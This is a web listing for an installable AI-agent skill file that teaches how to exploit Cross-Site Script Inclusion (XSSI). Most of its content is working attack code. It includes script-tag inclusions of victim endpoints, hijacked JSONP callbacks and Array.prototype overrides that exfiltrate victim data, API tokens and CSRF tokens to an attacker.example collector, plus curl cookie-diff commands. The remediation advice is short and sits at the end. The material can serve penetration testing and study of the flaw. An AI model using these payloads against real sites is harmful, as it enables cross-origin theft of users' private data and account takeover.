Skip to content
Back to skills

Webapp Exploiting Cross Site Script Inclusion Xssi

ASecurity

Identifying and exploiting Cross-Site Script Inclusion (XSSI), where the script tag's exemption from the Same-Origin Policy lets an attacker include a victim endpoint cross-origin (with the victim's ambient cookies) and read sensitive data from static scripts, dynamic JS, JSONP responses, or…

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 7, 2026
securityjavascriptrustgojavabashangularapi

Works with

  • api

Security analysis

A96/100
  • mediumUses curl or wget to download content

Pro shows the line behind each finding and how to fix it

Scanned November 7, 2026

npx -y skills add bitbytelabio/arsenal --skill webapp-exploiting-cross-site-script-inclusion-xssi --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Webapp Exploiting Cross Site Script Inclusion Xssi?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Webapp Exploiting Cross Site Script Inclusion Xssi
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/bitbytelabio-webapp-exploiting-cross-site-script-inclusion-xssi/badge)](https://www.skillsdirectory.com/skills/bitbytelabio-webapp-exploiting-cross-site-script-inclusion-xssi)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: webapp-exploiting-cross-site-script-inclusion-xssi
description: Identifying and exploiting Cross-Site Script Inclusion (XSSI), where the script tag's exemption from the Same-Origin Policy lets an attacker include a victim endpoint cross-origin (with the victim's ambient cookies) and read sensitive data from static scripts, dynamic JS, JSONP responses, or…
domain: webapp
category: injection
hide: true
license: Apache-2.0
metadata:
  manifest_entry: src/corpus/webapp-exploiting-cross-site-script-inclusion-xssi/SKILL.md
---
# Exploiting Cross-Site Script Inclusion (XSSI)

## When to Use

- During authorized assessments of endpoints that return JavaScript, JSONP, or data consumable via a `<script>` tag
- When an authenticated endpoint embeds user-specific data into a JS file or global variable
- When the application exposes a JSONP callback parameter (`?callback=`, `?jsonp=`)
- When sensitive data (CSV, JSON) is served with a permissive `Content-Type` and no anti-inclusion guard
- When evaluating whether endpoints rely on cookies (ambient authority) and lack CSRF-style tokens or CORB/CORP

## Prerequisites

- **Authorization**: Engagement scope covering cross-origin data disclosure with a logged-in victim test account
- **Attacker-controlled origin**: A page you host to include the victim script and capture leaked data
- **Burp Suite + DetectDynamicJS**: To diff responses with/without cookies and find dynamic (state-dependent) JS
- **Modern + legacy browser matrix**: Some variants (UTF-7) only work in specific/older browsers
- **OOB collector**: An endpoint to receive exfiltrated values

## Critical: Variants Most Often Missed

XSSI is more than "leak a global variable". The four categories below each have
distinct exploitation paths.

```text
# 1. Regular / static JS with secrets in globals
#    Include the script, then read the global it defines.

# 2. Dynamic JS (secret added based on the user's session)
#    Detect by diffing the response WITH vs WITHOUT cookies (DetectDynamicJS).

# 3. JSONP callback hijack
#    Define the callback function (or object path) yourself before including.

# 4. Non-JS files included as scripts (CSV/JSON), UTF-7 charset escape.
```

Static-global leak:

```html
<script src="https://victim.example/script.js"></script>
<script>
  // The included script defined confidential_keys in the global scope
  navigator.sendBeacon("//attacker.example/leak", JSON.stringify(confidential_keys[0]));
</script>
```

JSONP callback hijack (define the callback path you control):

```html
<script>
  var angular = function(){ return 1; };
  angular.callbacks = function(){ return 1; };
  angular.callbacks._7 = function(leaked){
    new Image().src = "//attacker.example/?d=" + encodeURIComponent(JSON.stringify(leaked));
  };
</script>
<script src="https://victim.example/p?jsonp=angular.callbacks._7"></script>

<!-- simpler global callback -->
<script>
  function leak(leaked){ new Image().src="//attacker.example/?d="+encodeURIComponent(JSON.stringify(leaked)); }
</script>
<script src="https://victim.example/p?jsonp=leak"></script>
```

Prototype tampering for non-global secrets (override built-ins to capture data):

```javascript
Array.prototype.slice = function () {
  // leaks the array contents the victim script processes, e.g. ["secret1","secret2"]
  new Image().src = "//attacker.example/?d=" + encodeURIComponent(JSON.stringify(this));
};
```

Non-JS (CSV) inclusion and UTF-7 JSON escape:

```html
<!-- CSV/JSON leaked by being parsed as script in some engines -->
<script src="https://victim.example/export.csv"></script>

<!-- UTF-7 charset forces JSON to be interpreted as script in certain browsers -->
<script src="https://victim.example/json-utf7.json" charset="UTF-7"></script>
```

### How to CONFIRM a hit (avoid false negatives)

- **Static/global**: after the cross-origin `<script>` loads, the global variable/object it defines is readable from your page (`typeof confidential_keys !== 'undefined'`) and contains real victim data. Confirm by beaconing the value.
- **Dynamic JS**: the response BODY differs when the request carries the victim's cookies vs when it does not (DetectDynamicJS). The cookie-bearing version contains the secret — this is the exploitable case.
- **JSONP**: your defined callback fires with the victim's data as its argument. Confirm by logging/beaconing the argument and seeing account-scoped content.
- **Non-JS / UTF-7**: the parser raises a usable error/executes attacker JS, or the data becomes reachable; confirm in the specific browser where it works.
- Always run the exploit in a logged-in victim browser session and verify the leaked data is genuinely private (belongs to the victim, not the attacker).

## Workflow

### Step 1: Find Script/JSONP/Data Endpoints
```bash
# Look for .js endpoints, JSONP callbacks, and data exports
grep -rEi "callback=|jsonp=|\.js(\?|$)|export\.csv|/api/.*\.json" proxy-history.txt
```
Note which endpoints require authentication and which echo a callback parameter.

### Step 2: Detect Dynamic (State-Dependent) JS
```bash
# Compare the response with and without the session cookie
curl -s https://victim.example/profile.js > anon.js
curl -s -H "Cookie: session=<victim>" https://victim.example/profile.js > auth.js
diff anon.js auth.js   # differences => dynamic XSSI candidate
```
Or use the Burp **DetectDynamicJS** extension to flag responses that vary by auth state.

### Step 3: Leak Static / Dynamic Globals
Include the script cross-origin and read the globals it defines:
```html
<script src="https://victim.example/profile.js"></script>
<script>
  for (const k of ["confidential_keys","userProfile","csrfToken"])
    if (window[k]) new Image().src="//attacker.example/?"+k+"="+encodeURIComponent(JSON.stringify(window[k]));
</script>
```

### Step 4: Hijack JSONP Callbacks
Define the exact callback name/path the endpoint expects, then include it (see payloads above). Capture the leaked argument to your OOB collector.

### Step 5: Prototype Tampering for Non-Global Data
Override commonly used built-ins (`Array.prototype.slice`, etc.) before including the script so the victim script's internal data flows into your hook.

### Step 6: Non-JS / Charset Tricks
Try including CSV/JSON as a script, and test the UTF-7 charset trick in older/specific browsers to escape JSON structure and capture data.

## Key Concepts

| Concept | Description |
|---------|-------------|
| **SOP Exemption for Scripts** | `<script src>` can load cross-origin, unlike fetch/XHR — the root of XSSI |
| **Ambient Authority** | Cross-origin script requests automatically include the victim's cookies |
| **Regular XSSI** | Secrets in a static JS file readable after inclusion via globals |
| **Dynamic XSSI** | Secrets injected based on the user's session; detected by cookie-diffing responses |
| **JSONP Hijack** | Defining the callback function/object path to capture the JSONP payload |
| **Prototype Tampering** | Overriding built-ins (e.g., `Array.prototype.slice`) to read non-global data |
| **Non-JS Inclusion** | CSV/JSON leaked by being parsed as a script; UTF-7 charset escapes JSON |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite + DetectDynamicJS** | Diff JS responses by auth state to find dynamic XSSI |
| **Attacker-hosted page + OOB collector** | Include victim scripts and capture leaked data |
| **CyberChef** | Decode/inspect leaked structures and test charset transformations |
| **grep / ripgrep** | Discover JSONP callbacks and script/data endpoints in proxy history |
| **Browser matrix (modern + legacy)** | Validate charset/UTF-7 variants that depend on the engine |

## Common Scenarios

### Scenario 1: Dynamic JS Leaks User Profile
`/account/config.js` embeds the logged-in user's email and an API token as global variables when requested with cookies. An attacker page includes it cross-origin and reads `window.userConfig`, exfiltrating the victim's token.

### Scenario 2: JSONP Callback Hijack
A search API exposes `?callback=` returning private results wrapped in the callback. The attacker defines a function named after the expected callback and includes the endpoint, capturing the victim's private search data.

### Scenario 3: CSV Export Inclusion
`/reports/export.csv` is served with a script-friendly type and no anti-inclusion guard. Including it as a `<script>` (with a charset trick) lets the attacker read rows belonging to the victim.

## Output Format

```
## XSSI Finding

**Vulnerability**: Cross-Site Script Inclusion (Dynamic JS / JSONP data leak)
**Severity**: High (CVSS 7.5)
**Location**: GET /account/config.js (credentialed, dynamic)
**OWASP Category**: A01:2021 - Broken Access Control (cross-origin data disclosure)

### Reproduction Steps
1. Diff /account/config.js with vs without session cookie -> body differs (dynamic)
2. Host attacker page including <script src="https://victim.example/account/config.js">
3. Read global window.userConfig defined by the script
4. Beacon the value to attacker collector; confirmed victim email + API token leaked

### Evidence
| Check | Result |
|-------|--------|
| Cookie-diff | response body differs by auth state |
| Leaked global | userConfig = { email, apiToken } |
| Victim-scoped | matches victim account, not attacker |

### Impact
Any site the victim visits can read the victim's private profile data and API
token cross-origin, enabling account compromise.

### Recommendation
1. Do not embed sensitive data in JS/JSONP responses; return data via JSON over fetch with CORS, not script inclusion
2. Require a non-cookie token (anti-CSRF) for sensitive data endpoints
3. Prefix JSON with an infinite loop / `)]}'` and parse server-trusted; reject script-tag inclusion
4. Send `X-Content-Type-Options: nosniff` and correct `Content-Type`; deploy CORB/CORP
5. Remove or authenticate JSONP callbacks; avoid serving CSV/data with script-executable types
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.